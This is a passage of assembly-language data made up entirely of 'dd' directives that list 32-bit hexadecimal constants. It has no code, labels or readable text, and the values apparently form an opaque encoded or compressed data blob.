dd 54E7599Dh, 0E4D6024h, 36B41038h, 26B2884Ch, 68780229h
dd 96C80008h, 0D5991CCh, 0F4829F7Ch, 4D934D8h, 0DA8B4435h
dd 7C0E14A3h, 37ADC490h, 520C7728h, 3086E2BCh, 0CC00900Bh
dd 0FA1ABE70h, 0B18715A4h, 8C824968h, 400A8555h, 5CC85A12h
dd 0D2048C73h, 0DDF879C3h, 22206B62h, 7946C3DAh, 0B6D00529h
dd 0E4AA65B0h, 674CF984h, 9CA7263Eh, 0FCDDF601h, 4006E2A4h
dd 9AD85893h, 58695CA2h, 225E0E39h, 0D881890Ch, 87C5DE9h
dd 0A49D8ABAh, 46802511h, 774BB2A6h, 0D76FA81Ch, 54BFB904h
dd 44C10A9h, 0C7B0914Ah, 0BC32107Ah, 0B0FF54C1h, 1CA41063h
dd 9A0801DAh, 482BE12Ch, 60C65C28h, 0C10E7933h, 602B15B5h
dd 0D235B3CFh, 20B757Fh, 0B6624480h, 0B0C11A77h, 124C2DE3h
dd 1C09B708h, 0F10C59E9h, 780A1887h, 50EC044Eh, 9728C49Eh
dd 25A05348h, 62E888D9h, 0D84D2AB8h, 461CB697h, 0F8910012h
dd 0DB9BE281h, 0F9FEF919h, 0C0E91FFCh, 0C65E4BC7h, 0F50F02A0h
dd 54E12B90h, 7D0912E0h, 363CA404h, 20DD300h, 0A8A20E8Ch
dd 204424F1h, 0F313B022h, 1982ECh, 6983A180h, 9522E0A4h
dd 93B110E8h, 41361651h, 72DBB490h, 0E8290447h, 842B1BB1h
dd 0C014AC94h, 93BB8877h, 8CAA0EF5h, 0BFE018D4h, 37D80E29h
dd 0B92A1104h, 54B454EFh, 30C08A36h, 0DF4922CDh, 259886CCh
dd 0F28E0E59h, 7F07130Eh, 46A02E51h, 9E2970E3h, 4C754302h
dd 612B936Eh, 8811E96Ch, 552AC4h, 0AF088408h, 5EB9B0C3h
dd 0C4E00B11h, 0D8CEE492h, 0BF2CCFE8h, 9800D5D1h, 8625DEE3h
dd 0DA851AF7h, 0FC5E5888h, 4ECE083h, 0BE711316h, 1EE04007h
dd 0B2775396h, 8982F107h
dd 47C958CBh, 6087446Ch, 0ECC6E68h, 0FD95C5DFh, 0B78AF014h
dd 0C6940124h, 0CEC2AA7Fh, 8AD98859h, 0AD09AA18h, 406D9C58h
dd 0F06BB140h, 1DA49C36h, 2C7E6280h, 16B878B1h, 0B4824F89h
dd 8AEC60BEh, 30E0B0C1h, 9F911F37h, 0D526C4F8h, 0C089C492h
dd 92475878h, 0FC0B1110h, 23544928h, 0A246012Fh, 0EACB5DFh
dd 0A24D4E00h, 55B40197h, 0C846B32Ch, 0CC39740Ah, 5A776342h
dd 803C4B34h, 65D382E0h, 7F5C4000h, 9D8C58A9h, 1BF9C2FFh
dd 210B5AFBh, 24F40BD8h, 3F8D5041h, 4877E5F0h, 81121C41h
dd 12E09296h, 0A2795C90h, 44B5D217h, 430118CBh, 2A4AA240h
dd 7117D990h, 1194021Ch, 0ACB4C058h, 0F250477Ch, 96BF1750h
dd 3C88A4AEh, 4CA70D46h, 3088FE8Ah, 884065B8h, 0C4E0137Ch
dd 825C4078h, 50FBB0E4h, 0EC1B8A0Dh, 98C3D81Eh, 9FF803B1h
dd 0AFA1400h, 0CAE891B5h, 22167C0Ch, 217420D9h, 2A80C12Eh
dd 12E1CF88h, 9E1406F4h, 683F08CCh, 5B24B9E8h, 6DA5B840h
dd 0DCF6E070h, 8B1D652Bh, 7D7BD219h, 8FDC3754h, 3875BF18h
dd 1C520E8h, 6892BEFCh, 20F8E4D3h, 7A809524h, 61789C94h
dd 47527B1h, 0ABBFBC87h, 4428E722h, 0E7676012h, 0AFC148B7h
dd 1F73D700h, 11A743B0h, 6EF2AC98h, 0BF2AE712h, 0B072580Bh
dd 11C3D368h, 88E5F87Ah, 0DB23816Ch, 70578DC3h, 9D17E4h
dd 0D8112684h, 176C982Eh, 44464544h, 0C8994C94h, 2B0022D8h
dd 0A7D61F23h, 9C80BCh, 14208959h, 946CB20Bh, 3E84F400h
dd 0FB7967D3h, 9F2B0B78h, 48698C60h, 2E69E154h, 0B823D43Bh
dd 80CBBA39h, 7ED706Dh, 164D9229h, 9DA8212h, 0D4AAE8E0h
dd 509B0870h, 5CF49E03h, 0BE0FE43Eh, 3B93404Fh, 28D23A0h
dd 0E94160CBh, 80597C62h, 0C582E681h, 24690A61h, 103B826h
dd 382A8736h, 43486076h, 10BE652Fh, 1E9A9EE0h, 185135h
dd 6A152F2h, 0E50063C9h, 0F905CE80h, 16FABEDBh, 0A2247B41h
dd 62823E00h, 213F90F0h, 37A8BA1h, 0D6900BBFh, 0E82A866Eh
dd 0E9BC62BCh, 50E488F0h, 749B694Ah, 686A8E80h, 9C124D63h
dd 7412DC2Ah, 7853B857h, 6FE07CA6h, 0BA61D4B6h, 2D12AAC0h
dd 383547Ch, 0D19838CBh, 5F0E0115h, 847471h, 54B7A114h
dd 0E474BC80h, 98145655h, 0FBB9C7D0h, 0F5E20BD8h, 1A203CE4h
dd 46F09091h, 0A243022Ch, 31B4B5DCh, 4A49103Ah, 0E12D03A2h
dd 297612C9h, 5590C194h, 82E01FEh, 0EF819120h, 5222BC72h
dd 131CC0Ah, 0E2045407h, 0D0C80D86h, 0FC7B443Bh, 79E83218h
dd 807E6BC1h, 0B4A19124h, 867184Ch, 408026D0h, 67FD670h
dd 940530D0h, 0D92CA817h, 0F7418892h, 94797B1Fh, 0ECB955BCh
dd 0BC93F680h, 68C5CCh, 0E304D565h, 66CBC6FAh, 4B19B700h
dd 0E9A2A8D4h, 74ACF22Eh, 82640C2Dh, 0ED82274h, 8C978B29h
dd 7C70FC14h, 0DC0B2FE7h, 9120972Bh, 0CBD58021h, 120B98h
dd 9EB220C2h, 7ECE941Ch, 500A0213h, 3E2EF4E1h, 7ADE11FCh
dd 7A42DEF8h, 88988EE4h, 804DC082h, 19003F94h, 87C2A99Bh
dd 4F817693h, 6488D008h, 0B5178991h, 80497863h, 40404898h
dd 0D85B0718h, 25B881F6h, 1F00C099h, 1102F782h, 1A347E89h
dd 11B0F92Eh, 0C3D1807Ch, 8CD5F878h, 216A44h, 4BD4C3D9h
dd 0C7B2DAA9h, 28531A26h, 0D026CC0Fh, 0E31088D4h, 6B361364h
dd 506328F1h, 7EDC2E01h, 0F82D75ABh, 0D52DE8A8h, 0E0AC905Eh
dd 213A8111h, 10647074h, 3718897Eh, 0C669301Ah, 0F7480178h
dd 9E246046h, 183A2B61h, 31003F23h, 0C7AE24CAh, 0E3C4F492h
dd 1D609034h, 40862F1Eh, 0D1A75F9Ah, 24902747h, 0B7087F09h
dd 0C40847D0h, 5C217F5Ch, 7988597Ah, 76181Ch, 665051A8h
dd 38656FFAh, 7303A5Dh, 0F4F1F20Dh, 60900F05h, 97516FB9h
dd 876589Ah, 70134656h, 0ADEAFE01h, 6A332BE7h, 46EE60E5h
dd 0AB352474h, 2C500B00h, 820EDC70h, 16FC17C6h, 460AC46h
dd 5DD45A31h, 0A41380BCh, 0B057C1E9h, 82400F00h, 0D3540636h
dd 9BD94C4Eh, 0C1A4231Ch, 9A525BABh, 0FC61F646h, 87B070BBh
dd 0C7C5A00h, 0EA634266h, 0C4210AEDh, 0A03C1638h, 0DC0B2FE8h
dd 0E328C001h, 0A8FC3018h, 410C8E9Fh, 2E786BC7h, 24786069h
dd 8B149C0Bh, 742271E2h, 0F7000DE1h, 268FF9B0h, 18A0094Ah
dd 8E57190Bh, 70C0BB4Fh, 1DB194Dh, 7EE56884h, 62797B9Eh
dd 1B6B1738h, 0AAFD9841h, 8FF1E17Dh, 0C1BB8824h, 94F8C081h
dd 3DD07840h, 1CAFCEh, 0BBE13E44h, 6D690274h, 1DC6BC4h
dd 0A22784F2h, 8610209Ah, 7C208859h, 9D2931BFh, 0C0B77718h
dd 0DD051737h, 8AD9C486h, 5E835088h, 0B6B04233h, 88A00903h
dd 4D14E312h, 0D08E18C5h, 8048DA10h, 0BCA4E120h, 8C5240FEh
dd 0D0980343h, 85F5B9h, 3D68E135h, 0C75389DDh, 9CFAC520h
dd 79B18820h, 157C967Dh, 0D14E54E0h, 3CA4A17Ch, 62DC1330h
dd 2261684Fh, 54639340h, 959C841Ch, 1BCF0284h, 13C05CC0h
dd 9CB83761h, 3298B09h, 0CC893405h, 26302EF1h, 9D710BBEh
dd 54D4D498h, 0B4208EF2h, 92421B2h, 48A950CCh, 0BE000863h
dd 0D1DF52F5h, 121E047Dh, 69F6E408h, 8C508CC1h, 6473588Ch
dd 0C3583850h, 0A4EC2491h, 160CA946h, 0C896EDACh, 45BC4E10h
dd 0D067B934h, 0F4C40890h, 0C95C1150h, 4F401D65h, 8E6470C7h
dd 4C242803h, 0AC08994Eh, 386E8192h, 49FBB5F5h, 0AC106C5Ch
dd 0FB1C8C65h, 908EA3D7h, 392E442Ah, 0F9FC30C2h, 80CF00ECh
dd 0BBF49111h, 357421E4h, 389BFD2Eh, 0A8EE1908h, 0A9DC62E4h
dd 44D4D989h, 12E1D108h, 0CCE80D0Dh, 0F2E07221h, 899E3025h
dd 320B8117h, 0E8942090h, 88F8BC90h, 98092D40h, 441CA9EAh
dd 0D479006Ch, 766FAC70h, 0D702C86Dh, 37E801B0h, 80A09311h
dd 0F813D3h, 0FFCA881Fh, 17CC3A78h, 348E42Fh, 0BD37C98Ch
dd 1428BBC1h, 6100A42Dh, 0FA9CC88Ah, 66032F70h, 0DB8C8F5Ch
dd 2534E7BFh, 72C084F8h, 6458C694h, 0A0927FF2h, 8DB31F03h
dd 0B969853h, 5B892051h, 3508D840h, 0DC1830E2h, 7E21B5E0h
dd 862506C4h, 0C1188D8Ah, 49329B0Eh, 3071DFC0h, 20F2994Ah
dd 94338DDCh, 5405F54Fh, 9C52848Ah, 0F4B55006h, 7EF84318h
dd 4AA1E000h, 6C8E1E2Fh, 5E10B626h, 3A058C46h, 4FCFAC5h
dd 522318D0h, 0E2BBD8B4h, 31C8F7C8h, 4BAC0BE5h, 800ED67Bh
dd 5F02710Fh, 58607514h, 0C490BCA3h, 0E0BD2C00h, 8C51B153h
dd 0CC7C58E8h, 42829F1Fh, 0EBC7F561h, 8CF8E890h, 0A4F34924h
dd 9F5C25B9h, 801391F4h, 76793782h, 0B93B028Fh, 9A66CE95h
dd 673C54DAh, 577E007Dh, 2D8DF57Ch, 29B20074h, 9A97FCCBh
dd 4503CF50h, 619B1E0Ch, 6CA80064h, 0D119D982h, 3FC4D71h
dd 88209898h, 21604511h, 69A6D706h, 15BD1017h, 38F244A2h
dd 0D860AB31h, 300F4044h, 89F9BC13h, 1D0AC81h, 76F8CAD9h
dd 4CA99D80h, 1C45F0A4h, 0D308C82Eh, 9570B95Bh, 25A0B9h
dd 2A18CC82h, 10C41544h, 4C8B8D94h, 6BFA102Ch, 785A8604h
dd 0C8E4AD47h, 2067146Eh, 185E55E1h, 894C9E98h, 600DBA7h
dd 0CD19834Ch, 6BDE9B00h, 0FB6599E7h, 4B9602D2h, 58A2C8BDh
dd 88A8C480h, 0B0C2349Dh, 4083E37h, 6C4BD7Dh, 31EE052Fh
dd 4615311h, 2A749F0h, 0AB5CF400h, 0FF56EE18h, 2EEF0238h
dd 2DECF3B4h, 119F0C80h, 0BE0229EDh, 0FF10F4F2h, 3AB0702h
dd 0DC058EAh, 0F2F829E1h, 0EF82EF8h, 0BA52E807h, 0ADC0F541h
dd 7457ED1Ch, 53FB00AFh
dd 58E00EFFh, 53041B7h, 57F72854h, 0EE1500B3h, 0F617B65Fh
dd 1667B1ECh, 6BEEA040h, 0EF648078h, 3F08FF2Bh, 7B0059EEh
dd 41920A0Ch, 0F051EC29h, 8FF9F904h, 80FAF280h, 70DB2D51h
dd 29220CE8h, 0B679B557h, 71CFF278h, 18AC8DF5h, 5CE115D3h
dd 0ED0708A6h, 0C003AF55h, 201DA12Dh, 806038A3h, 0F3BA7E88h
dd 0B45510FAh, 41E30017h, 74895334h, 2E8C1CAh, 835575E2h
dd 5CFF0138h, 224028F5h, 1AB000A0h, 414B79CEh, 0FB00EC3Ch
dd 4F31031Dh, 3323EEF3h, 44E13756h, 80BCE9A1h, 16A17C78h
dd 434A77EAh, 128202Dh, 0DB644D4h, 0AFF76C0h, 55F13C00h
dd 78E436ABh, 1F4B1CF9h, 3E56E011h, 0BCA0D642h, 83D4230h
dd 2408541Bh, 0C243058Ch, 838BD85h, 1324E0ACh, 8C048054h
dd 0DA34EC25h, 80AC18E1h, 94E41F2Dh, 0B6BEB622h, 4848B148h
dd 6BC710E1h, 915C4A22h, 4843144h, 0F7FD1CC1h, 58211103h
dd 4CA02C02h, 0C46BF360h, 0CAEC03A1h, 9344A4E1h, 85F4A866h
dd 7CBD222Eh, 9D2CE728h, 0F060B82Ch, 287DA420h, 97CC486h
dd 1E740BC7h, 46886C49h, 0B7425868h, 6062385Dh, 12B5C47h
dd 7DA451DCh, 0D9273217h, 6243949Ch, 43D63688h, 0C217840Eh
dd 0C4EB216Ah, 0C462AEEh, 172A2010h, 6820AB98h, 97578381h
dd 90B9AC90h, 94F84082h, 890E883Ah, 58218F4Fh, 88003914h
dd 3494D8C2h, 14BD3612h, 0B5A4F405h, 423891E8h, 5028834Dh
dd 0D01865A2h, 973C58ECh, 6ECFECA2h, 8B107919h, 26409003h
dd 714A00E2h, 89806208h, 0E4891F16h, 40C32451h, 1B15CC7Ch
dd 277898D3h, 6CC0FD9Ch, 2D1DD183h, 0FC8A0382h, 28BCB09Fh
dd 100240A1h, 918BD1A2h, 8C0446F8h, 22614244h, 17DCA50Eh
dd 306CE51Ah, 0F5452178h, 0EC58802Ch, 415A9E8Eh, 91930486h
dd 640E18C8h, 190632ABh, 8A160C9Bh, 62811C84h, 10484CA1h
dd 5073628Fh, 9340C95Ch, 5DDC0C83h, 0A3404CE3h, 0A502D8Ch
dd 9CA11CC4h, 0CC1E3B74h, 78D80D12h, 69292CCDh, 6025D49Ch
dd 2C340708h, 0E8352550h, 2410A028h, 4CD11888h, 0A3BEE01Bh
dd 367D14B8h, 1038C94h, 3C88C2E8h, 863EDF48h, 0D8282D37h
dd 19FD8F10h, 0C3388650h, 73218937h, 0AAB024FAh, 3E8D030Ch
dd 181B7961h, 0CD390298h, 788DBCE4h, 0F0819DDEh, 86BCC44Ah
dd 981D3739h, 29760051h, 514395E4h, 4AE0B0F4h, 0F5BD7D00h
dd 7B91E941h, 1B341A49h, 0BFC19168h, 0B4223A9Bh, 98044FCh
dd 0AA892497h, 0E02ED406h, 2979C400h, 5D9CC7D1h, 0CED5FC4Ah
dd 5824019h, 1C5C88E8h, 7C07E110h, 0C0CD6094h, 0CC8A2926h
dd 7AF0845Ch, 0F775FB03h, 8578B5h, 2ED26309h, 335B913h
dd 0EA18905h, 4C709788h, 759F0D57h, 0A4FBFA29h, 12CA44E0h
dd 0BA48D963h, 40F0F689h, 0CA884952h, 848CBE0Bh, 6ECF89h
dd 0FB03691Dh, 87FC1495h, 5602E8C7h, 736D478Eh, 3D08E098h
dd 3C34353Ah, 183C30E9h, 6790A480h, 81692151h, 847B3624h
dd 6594BE71h, 407B40A1h, 86786434h, 0D118E815h, 0E971AA98h
dd 8E65F8Ch, 1880EFE4h, 0AD1AC6C0h, 9D0812B1h, 0E880C99Fh
dd 6300C88Ah, 90D0134Ah, 68896B42h, 584093h, 34407B49h
dd 90A89C1Ah, 10C85B7Ah, 10A8A4h, 0E6AD0873h, 3A795A8Bh
dd 6037CC11h, 789DB09h, 24DE98C1h, 79546474h, 100040BCh
dd 32DF13E7h, 0CF80AA52h, 51007379h, 4AE0C1F2h, 3F7A810Ch
dd 7992B046h, 0B888245Ah, 328112Ch, 65DFA209h, 9BE9A078h
dd 33CE077Fh, 16606F5Eh, 9000D132h, 0C323A2E2h, 26A3BACFh
dd 11F0C10Bh, 1C4A240Dh, 593DB4B9h, 0C5D8885Eh, 5A2BF11h
dd 0D9F8B0F7h, 5888C215h, 0A91DD498h, 2882A890h, 0D9F660B1h
dd 6421A419h, 82E35409h, 83BCF484h, 8A98B50Ch, 59D0A92Ah
dd 21088534h, 72A9C031h, 0FCF8BBD6h, 8C2A2C26h, 3D161423h
dd 3030380Ah, 4F4A9408h, 0A029C48Bh, 0DB00F864h, 8201CC8Bh
dd 1FA9752h, 0B36730F3h, 2F764E43h, 93888h, 587FEF0Eh
dd 864A5EF5h, 70113709h, 0D304247Dh, 282F68C4h, 0F70E3908h
dd 0D82F0574h, 4AAE073h, 0AC30C32Ch, 3DD5820Ch, 368C111h
dd 0ECA41510h, 0E43B5201h, 7501A2DFh, 867A1C22h, 4565D202h
dd 0E8354B2Bh, 0A4B48188h, 207C2E98h, 44A945F0h, 210F800Ch
dd 408B231h, 60991940h, 2E01890Fh, 0D80057B8h, 304CFA07h
dd 98D18C3h, 0E195D019h, 0C28904E8h, 0F7296C00h, 49E0C08Bh
dd 3CA05D10h, 0AAC81878h, 37D92820h, 0B4401F5Ah, 79D36FE1h
dd 8D3900FAh, 0A5BFF632h, 0DF8E0E3h, 46C8B409h, 73BCFAD4h
dd 4E293A8Fh, 8DD28880h, 0B41C5D36h, 87E0BE0Bh, 62696274h
dd 8C60DE08h, 0B7A10199h, 0EAB62B01h, 62AF5810h, 2AC1A880h
dd 0E2271C80h, 57036100h, 1FDDBA39h, 0A0D0B698h, 0BE70B4B8h
dd 0D5D9BE0Bh, 481E58DAh, 0F39F633Eh, 0F8F6B241h, 6834A698h
dd 84FA00EFh, 805FC4C8h, 0F7001A8Bh, 32F4BAD5h, 0A63575h
dd 5A284826h, 703FF325h, 16504B1Dh, 0F529803Eh, 9C76ACBDh
dd 3D850C8Ch, 0F08C494h, 553021C1h, 0A32084ADh, 287B0EB7h
dd 54CFEFE4h, 68B37803h, 0F24BF0EFh, 310E2B70h, 0A10FDD96h
dd 0CDA187AFh, 7D5E30h, 0B8E8D5BBh, 3F70153Dh, 50DCBC00h
dd 0FD9828ACh, 0A953009Ah, 4EE4A887h, 1507ED48h, 28D4088Ch
dd 19B0B450h, 8820A746h, 58C1E0BDh, 0F884A3BBh, 22FDC350h
dd 0AD4A3074h, 549C6B08h, 40E0649Ah, 45AD4257h, 0ACF01804h
dd 0BA6BD81Eh, 74713088h, 152900C5h, 1345116Fh, 523EDCFBh
dd 0B440E870h, 3A094674h, 11D20067h, 44E5CDB1h, 0F1130314h
dd 6F5801D7h, 80813FF2h, 81F051A6h, 0C2606C39h, 4FD811D9h
dd 9ACA0344h, 73BD63A1h, 50152007h, 0F9E0F34Ch, 0E2F19C4Ah
dd 7008DF7Ah, 0F377B221h, 467B8806h, 0F7591951h, 3688130h
dd 237D373Bh, 28B3AC43h, 0CA74E875h, 0C8A1E1F8h, 17A3F36Fh
dd 42C93802h, 8745B9CDh, 9A776B50h, 0EC910D90h, 7CB02815h
dd 439CCDCh, 42FADBD1h, 1134DE30h, 1334F89h, 6421B174h
dd 9831AABAh, 7321D808h, 68330147h, 5BBB5508h, 0F21CCA9h
dd 0C0B05029h, 49807791h, 0AC9C62ADh, 41540087h, 484760ADh
dd 1000187Dh, 0FE1958C3h, 0CEC6DE1Fh, 0DFA01D79h, 7A10C4FBh
dd 0D86F702h, 8FE634C0h, 1A6B018Ch, 0AC40BBFAh, 0A8EC70h
dd 4576CCB1h, 55576388h, 64D0F250h, 0F375048Ch, 6242F94Eh
dd 7CB32009h, 0E700A1F3h, 324FEEA0h, 3B6A946h, 3F87178Ch
dd 71008A19h, 0EAA0C91Ch, 16A7E53h, 67C6B3C1h, 0E40B01BBh
dd 45078C23h, 0A347496Fh, 7D80A655h, 0C4483FDh, 6D182228h
dd 60008649h, 0CF3EBFD6h, 662684D1h, 21B00877h, 0D6676100h
dd 906EFC73h, 0DDCB04FAh, 54A675AAh, 0A41579C0h, 7C9C9C3Eh
dd 0B1DE1302h, 97449ECBh, 81B51138h, 0BE2AF323h, 0C330DFE0h
dd 98713359h, 0F0E06D9Ah, 0FD014283h, 0A064C6B2h, 0DEC0B885h
dd 3C3828A4h, 480CA144h, 0AC08BE18h, 0C4B49C6Fh, 5633400Eh
dd 90BF6CADh, 3E3200F3h, 0B1B4D7F5h, 2460D984h, 0E8730E59h
dd 56D00059h, 2946A258h, 0F01C8D21h, 0D1414F0Ah, 0DADF755Ch
dd 439B4440h, 4DC800EEh, 0B82449A8h, 0D03F98C1h, 0A9E982A2h
dd 61E67B4Bh, 0FD0CBB34h, 27313474h, 1E524923h, 0B39F5180h
dd 0D4166A37h, 0B83A7F00h, 684546EFh, 4A5C012Ah, 0DED7F0F2h
dd 1531806Dh, 0BC48A935h, 8761DE86h, 2159C7FFh, 0F49E660Ah
dd 0F3E8D985h, 0CCEE49h
dd 715507B9h, 0F89CF1A0h, 18336116h, 246DB3EDh, 0BF7E1768h
dd 1D6E93Bh, 91345446h, 5860E026h, 0ACD00981h, 0F804E6FBh
dd 334A6057h, 29B12349h, 68003511h, 34953322h, 0E3009D81h
dd 83F6B658h, 0FADDCAAh, 0F3D357C2h, 2AFF8583h, 7958D070h
dd 0C8EA224h, 1B300180h, 59C2884h, 0EC2C4C27h, 9EB43200h
dd 0AA28A212h, 6075C316h, 83E26828h, 0F9203885h, 0C483F46h
dd 2CC8F50h, 5792011Dh, 6C48A419h, 0D5E4EB39h, 0D9F2E00h
dd 9E8EE932h, 0D1909130h, 1B3188Eh, 512D4742h, 75268h
dd 0A0B79629h, 75E5A0h, 8BA95E58h, 9C50144Ch, 123C9A3Dh
dd 83092579h, 3E01278h, 0CCDF04h, 6F47C911h, 1ED105A7h
dd 0D7B37400h, 0B8BC2564h, 0FDC4B263h, 87A8B340h, 9E3B0624h
dd 40D9A6F8h, 843D2528h, 9C54640Eh, 28C34DEDh, 3A840832h
dd 1C9493Eh, 0CAEA9D4h, 34E080C2h, 3940FA19h, 0B1801FAAh
dd 0FFE71C27h, 3E02A605h, 0F34217C5h, 3B74C03Dh, 1D270191h
dd 6D40BCA1h, 31BC3054h, 13D9F800h, 9E325CF9h, 5B44A1F5h
dd 0BB475183h, 31384D70h, 0A0AC8C33h, 149CA078h, 0F4D8F795h
dd 0E0243E3Eh, 18F420B5h, 18278B05h, 103BBEFBh, 46007C86h
dd 6471C998h, 290EA91Fh, 0C947B50h, 0A8308D0Ch, 11209948h
dd 0BC08D98Fh, 18319A11h, 0DE012D67h, 9E8C481Ah, 9D045498h
dd 0BC6DB616h, 81AE9887h, 41ACF1A3h, 0AED0D713h, 421F30BBh
dd 0B02AED38h, 0B8CD944h, 0B0B96C2Fh, 1A967890h, 805748CFh
dd 5BE17D25h, 0AD9C0EE7h, 98722F9h, 15318091h, 5CECACF3h
dd 0FE50E0B0h, 5233A9C8h, 0D84008BCh, 2632A369h, 9501B15h
dd 94028586h, 8CC807BCh, 0CD519B98h, 1E0930BCh, 0D1A91D06h
dd 0F8B5C1h, 56A49EBCh, 0CEFF98AAh, 42CD29C8h, 9A24A176h
dd 12C60F21h, 578B27C9h, 0E6EE1032h, 0B1006A9Bh, 9FF50198h
dd 21DDB4h, 96A7C2EDh, 17BF5D56h, 78435F00h, 0E048A4A5h
dd 1D8E0046h, 654AEE4Bh, 0E3A03F10h, 80E50D36h, 2C49B53Ah
dd 3D40C0F3h, 4A000929h, 644D28AAh, 2300E6E4h, 0E26B2C33h
dd 0DD3127Fh, 90D0B2A3h, 46DFDC30h, 32AA5700h, 1F92C842h
dd 3FEF095h, 0A762F2A3h, 1D88C0BFh, 7000C9F1h, 403A0AAFh
dd 3345AC5h, 0C7EE69F9h, 0E7D07FA8h, 35005165h, 0E5ACD8FAh
dd 9D2AB4h, 0B7247EC8h, 15B0F5E6h, 25DFE717h, 9D0F0385h
dd 0A480D265h, 2072F3h, 0AB08547Fh, 514BB538h, 0E6993Dh
dd 1C530A45h, 3644AFh, 277D81EAh, 99B68B7Ah, 3B30430Eh
dd 53A5C3FDh, 7E03F055h, 82A000A4h, 4AFEA113h, 0DF3801D8h
dd 2D5580E7h, 3FA92696h, 0D9C30098h, 30C42F9Dh, 9700F7CFh
dd 6D684A9Ch, 9BFF88h, 93B4B8A2h, 0C3F56B1Fh, 257BD5E4h
dd 0F5B6900h, 39477107h, 780400B8h, 2AEF33CEh, 0C802F880h
dd 0CA69D362h, 524CC828h, 7A397B17h, 0D8E05401h, 586800C8h
dd 6D8B03EBh, 1D04D3C1h, 6CE8AB2Dh, 12FB6CC0h, 0E3C0300Bh
dd 5413E931h, 0CD2EC03h, 0BB78CF1Ch, 0BA21D88Bh, 0D8833005h
dd 0B98AA629h, 1C131B00h, 0C1AFBE8Fh, 8F82585Eh, 391EB63Ch
dd 863CC07Eh, 0D968AA5Ah, 5D239607h, 0B0F0A2F9h, 4AE704h
dd 0A79B1E27h, 27207F8h, 0FB00C976h, 55AA48BAh, 321EFE9h
dd 3DBDE584h, 1807A585h, 16D7F45Bh, 4CE488CCh, 6D01EDC8h
dd 69E18EDBh, 7418048h, 0D4A5B198h, 0B49D00DCh, 1CE88187h
dd 0D3022F76h, 8CF4158Bh, 0CEE4C816h, 268D016Bh, 0E7B28295h
dd 0DA8050FCh, 900043B0h, 0E3BE962Eh, 6C198Bh, 12499A30h
dd 7D70C3DBh, 0A8ECB7B0h, 439C2E00h, 0CD059F3Ah, 0F25400AEh
dd 690653C3h, 420E04A6h, 400F5F3Dh, 0B5DDB7D2h, 0F62E0C32h
dd 0D660289Bh, 4C1C0D00h, 552ABD25h, 2EFEB895h, 1F6FC188h
dd 0F14E409h, 9928A4Ch, 63803E30h, 0B7C985Bh, 16658B00h
dd 794383A3h, 935D0071h, 0C4FC4DBh, 0B850C955h, 34780F8Ch
dd 74215700h, 0CF8EBD06h, 45FB003Dh, 5892226Bh, 0BE0028C7h
dd 9CCECA82h, 13990393h, 531C8Eh, 1D577074h, 0B00033ACh
dd 0E88F7755h, 74025D1Ah, 0DE81005Bh, 988B29B7h, 8D00C095h
dd 57509AA9h, 0A7F2C2h, 695167BCh, 52889E61h, 12320F38h
dd 0A402AD72h, 10541EFAh, 0D800992Ch, 3E84C2B2h, 3DA15510h
dd 4087AAF0h, 0F067FD30h, 5406A223h, 0E937B200h, 436801BFh
dd 0F4144C4Dh, 0A9B55F04h, 0B358C0ECh, 9502AEF2h, 0B0DD3D7Eh
dd 8F096040h, 7F073C61h, 9D78C901h, 2235B12Ah, 0D5EF17D4h
dd 61394607h, 0BF7CA049h, 92C2ABBBh, 84480084h, 0A97AFB43h
dd 8EE449E5h, 5E096900h, 0FEC20345h, 3F910632h, 0A146883Dh
dd 77356100h, 0EB5EDB25h, 6E140058h, 2D50ECF3h, 6CE664DFh
dd 0ED725CB2h, 0B7389605h, 0C580E10Fh, 0C6880Eh, 76AE2D28h
dd 92D761ECh, 6997911Fh, 0ABE49300h, 150FAF8Ch, 84AC663Fh
dd 0C2D97B00h, 0ABF65E02h, 28A07A00h, 0C48FC551h, 5D31242Dh
dd 5E661E48h, 4F07804Dh, 14D509B3h, 76303800h, 199B0D7Eh
dd 3921F479h, 292CD40Fh, 125D0110h, 0DCF8BE85h, 0FB545813h
dd 2B06218Ch, 0F273494Bh, 62890010h, 0CCA9F8EFh, 86EE29D3h
dd 6EBC23Bh, 6F98517Dh, 41D23D90h, 0ACA0BE07h, 0B42919A6h
dd 3A59FC10h, 84831E01h, 445CA2BDh, 4BE055F6h, 0BC7266D3h
dd 0F54B3B00h, 0BAC6FDFh, 2B0530EDh, 1167081Ah, 186A900h
dd 18583A19h, 215000D7h, 0CC0BDF5Ah, 0E02E8ADh, 60D9B09Fh
dd 5254C096h, 637F0F23h, 3A00FB1Ah, 252D2F6Ch, 1CAC2601h
dd 0AE4049C3h, 0F82EF434h, 7A81124Bh, 0E6A0004Ch, 8A9A2AFEh
dd 0D6B2B600h, 0C2EA1AFDh, 42B100C4h, 0D5D338E2h, 79001EF9h
dd 0A3503D0Bh, 0E9F1493h, 6E2F941Fh, 0BC07F454h, 0EFE654h
dd 3FC8226Ch, 30F42302h, 40477F2Dh, 0B0F883Eh, 2B5E17Eh
dd 0ED670420h, 0C00083DCh, 395C2725h, 16120DA9h, 0B1EB6Bh
dd 683BB9A8h, 3D1C70BAh, 0C026ABD9h, 61566C41h, 0FBCF11E8h
dd 1282BFE4h, 2AF2350h, 64CE6AD0h, 4E9B0014h, 56E257EEh
dd 1A243F79h, 250074BEh, 0DD4A65C8h, 951403D6h, 0A08C9C54h
dd 53BACA8Bh, 6000BC50h, 0DE118BF5h, 922F49A1h, 317520h
dd 0D2E080F9h, 732E5D74h, 0BE0092F0h, 9D27A043h, 922DD512h
dd 0F4AD4894h, 0EF9048C0h, 5A00515Ch, 5B0D6DF1h, 0ECEAA51Eh
dd 37111857h, 197078BFh, 267242FEh, 34988300h, 4F3A160Bh
dd 0A18E3A1Ah, 0C3EB698Fh, 89C1C2A0h, 22005172h, 108AFFAAh
dd 7175C37h, 76CBD67Fh, 0DEB4B05Bh, 3BE09BBDh, 0F9476500h
dd 34686C0Ch, 975054Eh, 83E426ADh, 14D14362h, 0BFB3D01Ah
dd 27208400h, 0C959BCD1h, 0B2D0C049h, 0B75E64E9h, 0F9111664h
dd 0A126A304h, 0ED2080F4h, 9A98F1E8h, 3FD0C083h, 0BAF3D197h
dd 0BD079D7Ch, 299C1977h, 0F94CFDC0h, 4F30244Bh, 449D0F66h
dd 0D4AAC702h, 1517EC58h, 9440E7F1h, 6419A8A6h, 68BB6042h
dd 0F1B6B17Dh, 0AA10AD50h, 71CD650h, 499D8200h, 0A8378F19h
dd 28531E1Fh, 864FC13Ch, 0FCDD7CC1h, 0DF14A0D0h, 0BF6D11h
dd 0FB73F255h, 4B1BC4BCh, 4C45186h, 594A52B8h, 0BAB0BC44h
dd 5FCEEF44h, 4D11F091h, 0BB3211ABh, 28D68D11h, 70221401h
